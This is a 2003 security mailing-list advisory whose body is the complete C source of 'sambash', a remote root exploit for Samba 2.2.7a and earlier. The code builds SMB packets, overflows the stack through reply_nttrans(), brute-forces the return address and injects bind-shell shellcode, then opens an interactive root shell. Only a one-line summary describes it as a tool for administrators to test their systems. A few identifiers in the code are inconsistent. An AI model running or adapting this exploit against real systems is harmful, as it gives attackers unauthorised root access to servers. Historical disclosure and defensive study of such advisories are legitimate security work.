

[EXPL] Samba reply_nttrans() Remote Root Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-07/0110.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/28/03

To: list@securiteam.com

Date: 28 Jul 2003 15:14:54 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Get Thawte's New Step-by-Step SSL Guide for Apache.

<http://ad.doubleclick.net/clk;5903117;8265118;i>

Samba reply_nttrans() Remote Root Exploit

SUMMARY

A vulnerability in the Linux implementation of the SMB protocol (Samba) allows a remote attacker to execute arbitrary code. The following exploit code can be used by administrators to test their system for the vulnerability.

Note: This is **not** the trans2open issue covered by `sambal.c` and others.

DETAILS

Vulnerable Systems:

- * Samba version 2.2.7a and prior

/**

** sambash -- samba <= 2.2.7a reply_nttrans() linux x86 remote root exploit by flatline@blackhat.nl

**

** since we fully control a `memcpy()`, our options are endless here. i've chosen to go the stack route tho,

** because any heap method would've required too much brute forcing or would've required the ugly use of targets.

**

** the stack method still requires little brute forcing and obviously will not survive PaX, but it's efficient.

Securiteam: [EXPL] Samba reply_nttrans() Remote Root Exploit

```
** i'm using executable rets as a 'jmp sled' which jmp to the shellcode  
to help improve our brute forcing chances a bit.
```

```
**
```

```
** shouts to (#)0dd, #!l33tsecurity and #!xpc.
```

```
**
```

```
** many thanks to tcpdump which had to suffer the torture i put it  
through and often didn't survive (more to come?).
```

```
**
```

```
** public/private, i don't give a shit.
```

```
**
```

```
**/
```

```
#include <sys/socket.h>
```

```
#include <netinet/in.h>
```

```
#include <arpa/inet.h>
```

```
#include <netdb.h>
```

```
#include <errno.h>
```

```
#include <string.h>
```

```
#include <stdio.h>
```

```
#include <unistd.h>
```

```
#include <stdlib.h>
```

```
#include <ctype.h>
```

```
#include <signal.h>
```

```
typedef unsigned char uint8;
```

```
typedef unsigned short uint16;
```

```
typedef unsigned long uint32;
```

```
/* http://ubiqx.org/cifs/SMB.html, CIFS-TR-1p00_FINAL.pdf,  
smb_cifs_protocol.pdf,
```

```
http://www.ubiqx.org/cifs/rfc-draft/rfc1001.html#s14,
```

```
http://www.ubiqx.org/cifs/rfc-draft/rfc1002.html#s4.3.2 */
```

```
// XXX: lelijkheid: vermijd word padding door hier byte arrays van te  
maken.
```

```
struct variable_data_header
```

```
{ uint8 wordcount, bytecount[2];
```

```
};
```

```
struct nbt_session_header
```

```
{ uint8 type, flags, len[2];
```

```
};
```

```
struct smb_base_header
```

```
{ uint8 protocol[4], command, errorclass, reserved, errorcode[2];
```

```
uint8 flags;
```

```
uint8 flags2[2], reserved2[12], tid[2], pid[2], uid[2], mid[2];
```

```
};
```

```
struct negprot_reply_header
```

```
{ uint8 wordcount;
```

Securiteam: [EXPL] Samba reply_nttrans() Remote Root Exploit

```
uint8 dialectindex[2];
uint8 securitymode;
uint16 maxmpxcount, maxvccount;
uint32 maxbufsize, maxrawsize, sessionid, capabilities, timelow,
timehigh;
uint16 timezone;
uint8 keylen;
uint16 bytecount;
};

// omdat we ipasswdlen en passwdlen meegeven is wordcount altijd 13 voor
deze header.
struct sesssetupx_request_header
{ uint8 wordcount, command, reserved;
  uint8 offset[2], maxbufsize[2], maxmpxcount[2], vcnumber[2];
  uint8 sessionid[4];
  uint8 ipasswdlen[2], passwdlen[2];
  uint8 reserved2[4], capabilities[4];
};

struct sesssetupx_reply_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], action[2],
bytecount[2];
  // wat volgt: char nativeos[], nativelanman[], primarydomain[];
};

struct tconx_request_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2],
passwdlen[2], bytecount[2];
  // uint16 bytecount geeft lengte van volgende fields aan: char
password[], path[], service[];
};

struct tconx_reply_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], supportbits[2],
bytecount[2];
  // wat volgt: char service[], char nativefilesystem[];
};

// verschilt van trans en trans2 door de 32 bits wijde header fields.
struct nttrans_primary_request_header
{ uint8 wordcount, maxsetupcount, flags[2], totalparamcount[4],
totaldatacount[4], maxparamcount[4], maxdatacount[4];
  uint8 paramcount[4], paramoffset[4], datacount[4], dataoffset[4],
setupcount, function[2], bytecount[2];
};

struct nttrans_secondary_request_header
{ uint8 pad[4], totalparamcount[4], totaldatacount[4], paramcount[4],
paramoffset[4], paramdisplace[4],
datacount[4], dataoffset[4], datadisplace[4];
};
```

Securiteam: [EXPL] Samba reply_nttrans() Remote Root Exploit

```
};

/* struct trans2_request_header
{ uint8 wordcount;
int totalparamcount, totaldatacount, maxparamcount, maxdatacount;
uint8 maxsetupcount[2], flags[2];
uint8 timeout[4];
int reserved2, paramcount, paramoffset, datacount, dataoffset, fid;
uint8 setupcount[2], bytecount[2];
}; */

struct trans2_reply_header
{ uint8 wordcount;
uint16 totalparamcount, totaldatacount, reserved, paramcount,
paramoffset,
paramdisplacement, datacount, dataoffset, datadisplacement;
uint8 setupcount, reserved2;
uint16 bytecount;
};

#define SMBD_PORT 139
#define SHELLCODE_PORT 5074

#define SMB_NEGPROT 0x72
#define SMB_SESSSETUPX 0x73
#define SMB_TCONX 0x75
#define SMB_TRANS2 0x32
#define SMB_NTTRANS1 0xA0
#define SMB_NTTRANS2 0xA1
#define SMB_NTTRANSCREATE 0x01
#define SMB_TRANS2OPEN 0x00
#define SMB_SESSIONREQ 0x81
#define SMB_SESSION 0x00

#define STACKBOTTOM 0xbfffffff
#define STACKBASE 0xbfffd000
#define TOTALCOUNT ((int)(STACKBOTTOM - STACKBASE))
#define BRUTESTEP 5120

extern char *optarg;
extern int optind, errno, h_errno;

uint16 tid, pid, uid;
uint32 sessionid, PARAMBASE = 0x81c0000;
char *tconx_servername;
int userbreak = 0;

char shellcode[] =
"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52"
\
```

Securiteam: [EXPL] Samba reply_nttrans() Remote Root Exploit

```
"\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd"  
\  
"\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43"  
\  
"\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52"  
\  
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b"  
"\xcd\x80";
```

// ach, 't kan ermee door.

```
char *netbios_encode_name(char *name, int type)  
{ char plainname[16], c, *encoded, *ptr;  
  int i, len = strlen(name);  
  if ((encoded = malloc(34)) == NULL)  
  { fprintf(stderr, "malloc() failed\n");  
    exit(-1);  
  }  
  ptr = encoded;  
  strncpy(plainname, name, 15);  
  *ptr++ = 0x20;  
  for (i = 0; i < 16; i++)  
  { if (i == 15) c = type;  
    else  
    { if (i < len) c = toupper(plainname[i]);  
      else c = 0x20;  
    }  
    *ptr++ = (((c >> 4) & 0xf) + 0x41);  
    *ptr++ = ((c & 0xf) + 0x41);  
  }  
  *ptr = '\0';  
  return encoded;  
}  
  
void construct_nbt_session_header(char *ptr, uint8 type, uint8 flags,  
uint32 len)  
{ struct nbt_session_header *nbt_hdr = (struct nbt_session_header *)ptr;  
  uint16 nlen;  
  
  // geen idee of dit de juiste manier is, maar 't lijkt wel te werken ..  
  if (len > 65535) nlen = 65535;  
  else nlen = htons(len);  
  
  memset((void *)nbt_hdr, '\0', sizeof (struct nbt_session_header));  
  
  nbt_hdr->type = type;  
  nbt_hdr->flags = flags;  
  memcpy(&nbt_hdr->len, &nlen, sizeof (uint16));  
}
```

Securiteam: [EXPL] Samba reply_nttrans() Remote Root Exploit

```
// caller zorgt voor juiste waarde van ptr.
void construct_smb_base_header(char *ptr, uint8 command, uint8 flags,
uint16 flags2, uint16 tid, uint16 pid,
uint16 uid, uint16 mid)
{ struct smb_base_header *base_hdr = (struct smb_base_header *)ptr;

memset(base_hdr, '\0', sizeof (struct smb_base_header));

memcpy(base_hdr->protocol, "\xffSMB", 4);

base_hdr->command = command;
base_hdr->flags = flags;

memcpy(&base_hdr->flags2, &flags2, sizeof (uint16));
memcpy(&base_hdr->tid, &tid, sizeof (uint16));
memcpy(&base_hdr->pid, &pid, sizeof (uint16));
memcpy(&base_hdr->uid, &uid, sizeof (uint16));
memcpy(base_hdr->mid, &mid, sizeof (uint16));
}

void construct_sesssetupx_header(char *ptr)
{ struct sesssetupx_request_header *sx_hdr = (struct
sesssetupx_request_header *)ptr;
uint16 maxbufsize = 0xffff, maxmpxcount = 2, vcnumber = 31257, pwrlen =
0;
uint32 capabilities = 0x50;

memset(sx_hdr, '\0', sizeof (struct sesssetupx_request_header));

sx_hdr->wordcount = 13;
sx_hdr->command = 0xff;
memcpy(&sx_hdr->maxbufsize, &maxbufsize, sizeof (uint16));
memcpy(&sx_hdr->vcnumber, &vcnumber, sizeof (uint16));
memcpy(&sx_hdr->maxmpxcount, &maxmpxcount, sizeof (uint16));
memcpy(&sx_hdr->sessionid, &sessionid, sizeof (uint32));
memcpy(&sx_hdr->ipasswlen, &pwrlen, sizeof (uint16));
memcpy(&sx_hdr->passwlen, &pwrlen, sizeof (uint16));
memcpy(&sx_hdr->capabilities, &capabilities, sizeof (uint32));
}

/*
struct tconx_request_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2],
passwlen[2], bytecount[2];
-- uint16 bytecount geeft lengte van volgende fields aan: char
password[], path[], service[];
}; */
void construct_tconx_header(char *ptr)
{ struct tconx_request_header *tx_hdr = (struct tconx_request_header
*)ptr;
uint16 passwlen = 1, bytecount;
```

Securiteam: [EXPL] Samba reply_nttrans() Remote Root Exploit

```
char *data;

memset(tx_hdr, '\0', sizeof (struct tconx_request_header));

bytecount = strlen(tconx_servername) + 15;

if ((data = malloc(bytecount)) == NULL)
{ fprintf(stderr, "malloc() failed, aborting!\n");
  exit(-1);
}
memcpy(data, "\x00\x5c\x5c", 3);
memcpy(data + 3, tconx_servername, strlen(tconx_servername));
memcpy(data + 3 + strlen(tconx_servername),
"\x5cIPC\x24\x00\x3f\x3f\x3f\x3f\x3f\x00", 12);

tx_hdr->wordcount = 4;
tx_hdr->xcommand = 0xff;

memcpy(&tx_hdr->passwdlen, &passwdlen, sizeof (uint16));
memcpy(&tx_hdr->bytecount, &bytecount, sizeof (uint16));

// zorg ervoor dat er genoeg ruimte in het packet is om dit erachter te
knnen plakken.
memcpy(ptr + sizeof (struct tconx_request_header), data, bytecount);
}

// session request versturen.
void nbt_session_request(int fd, char *clientname, char *servername)
{ char *cn, *sn;
  char packet[sizeof (struct nbt_session_header) + (34 * 2)];

  construct_nbt_session_header(packet, SMB_SESSIONREQ, 0, sizeof (packet) -
sizeof (struct nbt_session_header));

  tconx_servername = servername;

  sn = netbios_encode_name(servername, 0x20);
  cn = netbios_encode_name(clientname, 0x00);

  memcpy(packet + sizeof (struct nbt_session_header), sn, 34);
  memcpy(packet + (sizeof (struct nbt_session_header) + 34), cn, 34);

  if (write(fd, packet, sizeof (packet)) == -1)
  { close(fd);
    fprintf(stderr, "write() failed, reason: '%s' (code %i)\n",
strerror(errno), errno);
    exit(-errno);
  }

  free(cn);
  free(sn);
```

Securiteam: [EXPL] Samba reply_nttrans() Remote Root Exploit

```
}

// netjes verwerken, zoals het hoort.
void process_nbt_session_reply(int fd)
{ struct nbt_session_header nbt_hdr;
  char *errmsg;
  uint8 errorcode;
  int size, len = 0;

  if ((size = read(fd, &nbt_hdr, sizeof (nbt_hdr))) == -1)
  { close(fd);
    fprintf(stderr, "read() failed, reason: '%s' (code %i)\n",
      strerror(errno), errno);
    exit(-errno);
  }
  if (size != sizeof (nbt_hdr))
  { close(fd);
    fprintf(stderr, "read() a broken packet, aborting.\n");
    exit(-1);
  }
  memcpy(&len, &nbt_hdr.len, sizeof (uint16));

  if (len)
  { read(fd, (void *)&errorcode, 1);
    close(fd);
    switch (errorcode)
    { case 0x80 : errmsg = "Not listening on called name"; break;
      case 0x81 : errmsg = "Not listening for calling name"; break;
      case 0x82 : errmsg = "Called name not present"; break;
      case 0x83 : errmsg = "Called name present, but insufficient
resources"; break;
      case 0x8f : errmsg = "Unspecified error"; break;
      default : errmsg = "Unspecified error (unknown error code received!)" ;
    }
    break;
  }
  fprintf(stderr, "session request denied, reason: '%s' (code %i)\n",
    errmsg, errorcode);
  exit(-1);
  }
  printf("session request granted\n");
}

void negprot_request(int fd)
{ struct variable_data_header data;
  char dialects[] = "\x2PC NETWORK PROGRAM 1.0\x0\x2MICROSOFT NETWORKS
1.03\x0\x2MICROSOFT NETWORKS 3.0\x0\x2LANMAN1.0\x0" \
"\x2LM1.2X002\x0\x2Samba\x0\x2NT LANMAN 1.0\x0\x2NT LM
0.12\x0\x2""FLATLINE'S KWAADWAAR";
  char packet[sizeof (struct nbt_session_header) + sizeof (struct
smb_base_header) + sizeof (data) + sizeof (dialects)];
  int dlen = htons(sizeof (dialects));
```

Securiteam: [EXPL] Samba reply_nttrans() Remote Root Exploit

```
memset(&data, '\0', sizeof (data));
construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) -
sizeof (struct nbt_session_header));
pid = getpid();
construct_smb_base_header(packet + sizeof (struct nbt_session_header),
SMB_NEGPROT, 8, 1, 0, pid, 0, 1);

memcpy(&data.bytecount, &dlen, sizeof (uint16));

memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct
smb_base_header)), &data, sizeof (data));
memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct
smb_base_header) + sizeof (data)),
dialects, sizeof (dialects));

if (write(fd, packet, sizeof (packet)) == -1)
{ close(fd);
fprintf(stderr, "write() failed, reason: '%s' (code %i)\n",
strerror(errno), errno);
exit(-errno);
}
}

void process_negprot_reply(int fd)
{ struct nbt_session_header *nbt_hdr;
struct smb_base_header *base_hdr;
struct negprot_reply_header *np_reply_hdr;
char packet[1024];
int size;
uint16 pid_reply;

nbt_hdr = (struct nbt_session_header *)packet;
base_hdr = (struct smb_base_header *) (packet + sizeof (struct
nbt_session_header));
np_reply_hdr = (struct negprot_reply_header *) (packet + (sizeof (struct
nbt_session_header) +
sizeof (struct smb_base_header)));

if ((size = read(fd, packet, sizeof (packet))) == -1)
{ close(fd);
fprintf(stderr, "read() failed, reason: '%s' (code %i)\n",
strerror(errno), errno);
exit(-errno);
}

// bekijk het antwoord even vluchtig.
memcpy(&pid_reply, &base_hdr->pid, sizeof (uint16));
memcpy(&sessionid, &np_reply_hdr->sessionid, sizeof (uint32));
if (base_hdr->command != SMB_NEGPROT || np_reply_hdr->wordcount != 17 ||
pid_reply != pid)
{ close(fd);
```

Securiteam: [EXPL] Samba reply_nttrans() Remote Root Exploit

```
fprintf(stderr, "protocol negotiation failed\n");
exit(-1);
}

printf("protocol negotiation complete\n");
}

void sesssetupx_request(int fd)
{ uint8 data[] = "\x12\x0\x0\x0\x55\x6e\x69\x78\x00\x53\x61\x6d\x62\x61";
  char packet[sizeof (struct nbt_session_header) + sizeof (struct
smb_base_header) +
  sizeof (struct sesssetupx_request_header) + sizeof (data)];
  int size;

  construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) -
sizeof (struct nbt_session_header));
  construct_smb_base_header(packet + sizeof (struct nbt_session_header),
SMB_SESSSETUPX, 8, 1, 0, pid, 0, 1);
  construct_sesssetupx_header(packet + sizeof (struct nbt_session_header) +
sizeof (struct smb_base_header));
  memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct
smb_base_header) +
  sizeof (struct sesssetupx_request_header), &data, sizeof (data));

  if ((size = write(fd, packet, sizeof (packet))) == -1)
  { close(fd);
    fprintf(stderr, "write() failed, reason: '%s' (code %i)\n",
strerror(errno), errno);
    exit(-errno);
  }
  if (size != sizeof (packet))
  { close(fd);
    fprintf(stderr, "couldn't write entire packet, aborting!\n");
    exit(-1);
  }
}

void process_sesssetupx_reply(int fd)
{ struct nbt_session_header *nbt_hdr;
  struct smb_base_header *base_hdr;
  struct sesssetupx_reply_header *sx_hdr;
  char packet[1024];
  int size, len;

  // lees het packet
  if ((size = read(fd, packet, sizeof (packet))) == -1)
  { close(fd);
    fprintf(stderr, "read() failed, reason: '%s' (code %i)\n",
strerror(errno), errno);
    exit(-errno);
  }
}
```

Securiteam: [EXPL] Samba reply_nttrans() Remote Root Exploit

```
nbt_hdr = (struct nbt_session_header *)packet;
base_hdr = (struct smb_base_header *)(packet + sizeof (struct
nbt_session_header));
sx_hdr = (struct sesssetupx_reply_header *)(packet + sizeof (struct
nbt_session_header) + sizeof (struct smb_base_header));

memcpy(&len, &nbt_hdr->len, sizeof (uint16));
memcpy(&uid, &base_hdr->uid, sizeof (uint16));

// even een vluchtige check
if (sx_hdr->xcommand != 0xff && sx_hdr->wordcount != 3)
{ close(fd);
fprintf(stderr, "session setup failed\n");
exit(-1);
}

printf("session setup complete, got assigned uid %i\n", uid);
}

void tconx_request(int fd)
{ // geen fixed size buffer omdat we met dynamische data te maken hebben
(variabele servernaam)
char *packet;
int size, pktsize = sizeof (struct nbt_session_header) + sizeof (struct
smb_base_header) +
sizeof (struct tconx_request_header) + strlen(tconx_servername) + 15;

if ((packet = malloc(pktsize)) == NULL)
{ close(fd);
fprintf(stderr, "malloc() failed, aborting!\n");
exit(-1);
}

construct_nbt_session_header(packet, SMB_SESSION, 0, pktsize - sizeof
(struct nbt_session_header));
construct_smb_base_header(packet + sizeof (struct nbt_session_header),
SMB_TCONX, 8, 1, 0, pid, uid, 1);
construct_tconx_header(packet + sizeof (struct nbt_session_header) +
sizeof (struct smb_base_header));

if ((size = write(fd, packet, pktsize)) == -1)
{ close(fd);
fprintf(stderr, "write() failed, reason: '%s' (code %i)\n",
strerror(errno), errno);
exit(-errno);
}

free(packet);

if (size != pktsize)
{ close(fd);
```

Securiteam: [EXPL] Samba reply_nttrans() Remote Root Exploit

```
fprintf(stderr, "couldn't write entire packet, aborting!\n");
exit(-1);
}
}

void process_tconx_reply(int fd)
{ struct nbt_session_header *nbt_hdr;
  struct smb_base_header *base_hdr;
  struct tconx_reply_header *tx_hdr;
  char packet[1024];
  int size, bytecount;

  // lees het packet
  if ((size = read(fd, packet, sizeof (packet))) == -1)
  { close(fd);
    fprintf(stderr, "read() failed, reason: '%s' (code %i)\n",
      strerror(errno), errno);
    exit(-errno);
  }

  nbt_hdr = (struct nbt_session_header *)packet;
  base_hdr = (struct smb_base_header *) (packet + sizeof (struct
  nbt_session_header));
  tx_hdr = (struct tconx_reply_header *) (packet + sizeof (struct
  nbt_session_header) + sizeof (struct smb_base_header));

  memcpy(&tid, &base_hdr->tid, sizeof (uint16));
  memcpy(&bytecount, &tx_hdr->bytecount, sizeof (uint16));

  printf("tree connect complete, got assigned tid %i\n", tid);
}

void nttrans_primary_request(int fd)
{ char packet[sizeof (struct nbt_session_header) + sizeof (struct
  smb_base_header) +
  sizeof (struct nttrans_primary_request_header)];
  struct nttrans_primary_request_header nt_hdr;

  int size, function = SMB_NTTRANSCREATE, totalparamcount = TOTALCOUNT,
  totaldatacount = 0;
  uint8 setupcount = 0;

  memset(&nt_hdr, '\0', sizeof (nt_hdr));

  construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) -
  sizeof (struct nbt_session_header));
  construct_smb_base_header(packet + sizeof (struct nbt_session_header),
  SMB_NTTRANS1, 8, 1, tid, pid, uid, 1);

  nt_hdr.wordcount = 19 + setupcount;
  memcpy(&nt_hdr.function, &function, sizeof (uint16));
```

Securiteam: [EXPL] Samba reply_nttrans() Remote Root Exploit

```
memcpy(&nt_hdr.totalparamcount, &totalparamcount, sizeof (uint32));
memcpy(&nt_hdr.totaldatacount, &totaldatacount, sizeof (uint32));

memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct
smb_base_header), &nt_hdr, sizeof (nt_hdr));

if ((size = write(fd, packet, sizeof (packet))) == -1)
{ close(fd);
  fprintf(stderr, "write() failed, reason: '%s' (code %i)\n",
strerror(errno), errno);
  exit(-errno);
}
if (size != sizeof (packet))
{ close(fd);
  fprintf(stderr, "couldn't write entire packet, aborting!\n");
  exit(-1);
}
}

// hier gaat het gebeuren.
/*
struct nttrans_secondary_request_header
{ uint8 pad[3], totalparamcount[4], totaldatacount[4], paramcount[4],
paramoffset[4], paramdisplace[4],
datacount[4], dataoffset[4], datadisplace[4];
}; */
void nttrans_secondary_request(int fd)
{ char retbuf[TOTALCOUNT], packet[sizeof (struct nbt_session_header) +
sizeof (struct smb_base_header) +
sizeof (struct nttrans_secondary_request_header) + TOTALCOUNT];
  struct nttrans_secondary_request_header nt_hdr;
  unsigned long retaddr, jmptocode = 0x9090a1eb; // jmptocode = 0x90909ceb;
  int i;

  int size, totalparamcount = TOTALCOUNT, totaldatacount = 0,
  paramcount = TOTALCOUNT, datacount = 0, paramdisplace = STACKBASE -
PARAMBASE,
  datadisplace = 0, paramoffset = 68, dataoffset = 0;

  memset(&nt_hdr, '\0', sizeof (nt_hdr));
  retaddr = 0xbffff6eb;
  for (i = 0; i < TOTALCOUNT; i += 4)
  { if (i == 0x100)
    { memcpy(retbuf + i, &jmptocode, 4);
    }
    else memcpy(retbuf + i, &retaddr, 4);
  }

  // memset(shellcode, 0xCC, sizeof (shellcode));
  memcpy(retbuf + 0x100 - sizeof (shellcode), shellcode, sizeof
(shellcode));
```

Securiteam: [EXPL] Samba reply_nttrans() Remote Root Exploit

```
printf("sizeof packet: %i, parambase: 0x%08lx\n", sizeof (packet),
PARAMBASE);

construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) -
sizeof (struct nbt_session_header));
construct_smb_base_header(packet + sizeof (struct nbt_session_header),
SMB_NTTRANS2, 8, 1, tid, pid, uid, 1);

memcpy(&nt_hdr.totalparamcount, &totalparamcount, sizeof (uint32));
memcpy(&nt_hdr.totaldatacount, &totaldatacount, sizeof (uint32));
memcpy(&nt_hdr.paramcount, &paramcount, sizeof (uint32));
memcpy(&nt_hdr.datacount, &datacount, sizeof (uint32));
memcpy(&nt_hdr.paramdisplace, &paramdisplace, sizeof (uint32));
memcpy(&nt_hdr.datadisplace, &datadisplace, sizeof (uint32));
memcpy(&nt_hdr.paramoffset, &paramoffset, sizeof (uint32));
memcpy(&nt_hdr.dataoffset, &dataoffset, sizeof (uint32));

memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct
smb_base_header), &nt_hdr, sizeof (nt_hdr));
memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct
smb_base_header) + sizeof (nt_hdr), retbuf, sizeof (retbuf));

usleep(5000);

if ((size = write(fd, packet, sizeof (packet))) == -1)
{ close(fd);
fprintf(stderr, "write() failed, reason: '%s' (code %i)\n",
strerror(errno), errno);
exit(-errno);
}
if (size != sizeof (packet))
{ close(fd);
fprintf(stderr, "couldn't write entire packet, aborting!\n");
exit(-1);
}
fprintf(stderr, "secondary nttrans packet sent!\n");
}

// voor alle idioten onder ons.
void usage(char *name)
{ printf("\nusage: %s -h hostname [-p port] -t target [-l]\n\n-h\tspecify
target hostname\n-p\tspecify target " \
"port (defaults to 139)\n-t\tspecify target's magic numbers\n-l\tshow
list of targets\n\n", name);
}

void userbreak_handler(int x)
{ userbreak = 1;
}
```

Securiteam: [EXPL] Samba reply_nttrans() Remote Root Exploit

```
int main(int argc, char **argv)
{ int fd, port = -1, opt, readlen;
  unsigned long target_ip;
  struct sockaddr_in s_in;
  struct hostent *he;
  char *host = NULL, *me, readbuf[4096];
  fd_set readfds;

  if (argc >= 1)
  { me = argv[0];
    if (strchr(me, '/') != NULL) me = strchr(me, '/') + 1;
  }
  else me = "sambash";

  fprintf(stderr, "\nsambash -- samba <= 2.2.7a reply_nttrans() linux x86
remote root exploit by flatline@blackhat.nl\n\n");

  while ((opt = getopt(argc, argv, "h:p:b:")) != EOF)
  { switch (opt)
  { case 'h': { if (!inet_aton(optarg, (struct in_addr *)&target_ip))
    { if ((he = gethostbyname(optarg)) == NULL)
    { fprintf(stderr, "unable to resolve host '%s', reason: %s (code
%i)\n", optarg, hstrerror(h_errno), h_errno);
      exit(-h_errno);
    }
    memcpy((void *)&target_ip, he->h_addr_list[0], he->h_length);
    }
    host = optarg;
    } break;
  case 'p': { port = atoi(optarg);
    if (port < 0 || port > 65535)
    { fprintf(stderr, "invalid port specified.\n");
      exit(-1);
    }
    } break;
  case 'b': PARAMBASE += atoi(optarg); break;
  default : { usage(me);
    exit(0);
    } break;
  }
}

if (host == NULL)
{ fprintf(stderr, "no hostname specified.\n");
  usage(me);
  exit(-1);
}
if (port == -1) port = SMBD_PORT;

signal(SIGINT, userbreak_handler);
```

Securiteam: [EXPL] Samba reply_nttrans() Remote Root Exploit

```
while (!userbreak)
{
    memset(&s_in, 0, sizeof (s_in));
    s_in.sin_family = AF_INET;
    s_in.sin_port = htons(port);
    s_in.sin_addr.s_addr = target_ip;

    if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
    {
        fprintf(stderr, "socket() failed, reason: '%s' (code %i)\n",
            strerror(errno), errno);
        exit(-errno);
    }

    if (connect(fd, (struct sockaddr *)&s_in, sizeof (s_in)) == -1)
    {
        fprintf(stderr, "connect() to host '%s:%i' failed, reason: '%s' (code %i)\n",
            host, port, strerror(errno), errno);
        exit(-errno);
    }

    // register name
    nbt_session_request(fd, "BOSSA", "SAMBA");
    process_nbt_session_reply(fd);

    // protocol negotiation
    negprot_request(fd);
    process_negprot_reply(fd);

    // session setup
    sesssetupx_request(fd);
    process_sesssetupx_reply(fd);

    // tree connection setup
    tconx_request(fd);
    process_tconx_reply(fd);

    // nttrans packet sturen
    nttrans_primary_request(fd);

    nttrans_secondary_request(fd);

    usleep(750000);

    if (close(fd) == -1)
    {
        fprintf(stderr, "close() failed, reason: '%s' (code %i)\n",
            strerror(errno), errno);
        exit(-errno);
    }

    memset(&s_in, 0, sizeof (s_in));
    s_in.sin_family = AF_INET;
    s_in.sin_port = htons(SHELLLCODE_PORT);
    s_in.sin_addr.s_addr = target_ip;
}
```

Securiteam: [EXPL] Samba reply_nttrans() Remote Root Exploit

```
if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
{ fprintf(stderr, "socket() failed, reason: '%s' (code %i)\n",
strerror(errno), errno);
  exit(-errno);
}
```

```
if (connect(fd, (struct sockaddr *)&s_in, sizeof (s_in)) == -1)
{ if (close(fd) == -1)
  { fprintf(stderr, "close() failed, reason: '%s' (code %i)\n",
strerror(errno), errno);
    exit(-errno);
  }
  PARAMBASE += BRUTESTEP;
  continue;
}
```

```
printf("\n\n** veel plezier.\n\n");
```

```
FD_ZERO(&readfds);
while (!userbreak)
{ FD_SET(fileno(stdin), &readfds);
  FD_SET(fd, &readfds);
```

```
  if (select(fd + 1, &readfds, NULL, NULL, NULL) < 0)
  { fprintf(stderr, "shell loop aborted because of error code %i
('%s')\n", errno, strerror(errno));
    break;
  }
```

```
  if (FD_ISSET(fileno(stdin), &readfds))
  { int writelen;
```

```
    readlen = read(fileno(stdin), readbuf, sizeof (readbuf));
    if (readlen == -1)
    { fprintf(stderr, "read() failed with error code %i ('%s')\n", errno,
strerror(errno));
      exit(-1);
    }
    if ((writelen = write(fd, readbuf, readlen)) == -1)
    { fprintf(stderr, "write() failed with error code %i ('%s')\n", errno,
strerror(errno));
      exit(-1);
    }
    FD_ZERO(&readfds);
    continue;
  }
  if (FD_ISSET(fd, &readfds))
  { if ((readlen = read(fd, readbuf, sizeof (readbuf))) == -1)
    { fprintf(stderr, "shell loop aborted because of error code %i
('%s')\n", errno, strerror(errno));
      break;
    }
```

Securiteam: [EXPL] Samba reply_nttrans() Remote Root Exploit

```
}  
write(fileno(stderr), readbuf, readlen);  
FD_ZERO(&readfds);  
continue;  
}  
}  
  
}  
  
printf("user break.\n");  
signal(SIGINT, SIG_DFL);  
  
return 0;  
}
```

ADDITIONAL INFORMATION

The information was provided by <mailto:flatline@blackhat.nl> flatline

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.